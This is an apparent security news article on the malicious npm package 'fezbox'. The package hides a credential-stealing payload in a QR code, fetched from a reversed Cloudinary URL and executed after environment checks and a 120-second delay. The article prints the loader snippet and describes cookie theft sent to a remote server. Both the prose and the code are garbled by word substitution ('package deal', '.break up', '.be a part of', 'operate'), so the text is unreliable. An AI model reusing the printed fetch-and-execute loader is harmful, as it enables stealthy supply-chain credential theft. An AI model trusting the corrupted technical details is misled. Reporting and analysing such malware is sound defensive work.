A complicated malware marketing campaign has emerged within the npm ecosystem, using an progressive steganographic approach to hide malicious code inside QR codes.
The malicious package deal, recognized as “fezbox,” presents itself as a respectable JavaScript/TypeScript utility library whereas secretly executing password-stealing operations via a cleverly disguised QR code payload.
This assault represents a major evolution in provide chain threats, demonstrating how cybercriminals are adopting more and more inventive strategies to bypass safety measures and evade detection programs.
The fezbox package deal masquerades as a complete utility library providing TypeScript assist, efficiency optimization, and modular performance.
Based on its documentation, the package deal offers widespread helper capabilities organized by function modules, permitting builders to import solely mandatory elements.
Whereas the README file mentions a QR Code Module for producing and parsing QR codes, it intentionally omits essential particulars in regards to the package deal’s functionality to fetch QR codes from distant URLs and execute embedded malicious code.
Picture of the QR code (Supply – Socket.dev)
Socket.dev analysts recognized the malware after detecting suspicious behavioral patterns inside the package deal’s codebase.
The safety crew found a number of layers of obfuscation strategies, together with string reversal, code minification, and the novel use of steganographic QR codes to cover the ultimate payload.
On the time of discovery, the malicious package deal remained energetic on the npm registry, prompting Socket.dev to petition the npm safety crew for its quick removing and the suspension of the menace actor’s account.
Superior Steganographic Payload Supply
The malware employs a classy multi-stage execution course of that begins with environmental checks and timing delays to evade sandbox detection.
The preliminary malicious code accommodates browser-specific conditionals that confirm the presence of window and doc objects, making certain execution solely happens in respectable browser environments.
When circumstances are met, the malware waits 120 seconds earlier than initiating the payload retrieval course of.
The core malicious performance revolves round a reversed URL string that conceals the placement of the steganographic QR code:-
(operate () {
if (n.isDevelopment() || c.probability(2 / 3))
return;
setTimeout(async () => {
const loader = new d.QRCodeScriptLoader();
const t = await loader.parseQRCodeFromUrl(
“gpj.np6f7h_ffe7cdb1b812207f70f027671c18c25b/6177675571v/daolpu/egami/qsqbneuhd/moc.yrani”
.break up(“”)
.reverse()
.be a part of(“”)
);
loader.executeCode(t);
}, 120 * 1e3);
})();
When reversed, this string resolves to a Cloudinary-hosted QR code picture containing the ultimate malicious payload. The QR code itself serves as a steganographic container, hiding JavaScript code that extracts username and password values from browser cookies.
As soon as decoded, the payload makes an attempt to find cookies containing authentication credentials, particularly looking for “username” and “password” fields utilizing further string obfuscation strategies.
The extracted credentials are then exfiltrated via an HTTPS POST request to a command-and-control server hosted on Railway, a cloud platform service.
This multi-layered method – combining environmental evasion, timing delays, string reversal, steganographic concealment, and credential extraction – represents a classy evolution in npm-based provide chain assaults that safety groups should put together to defend towards.
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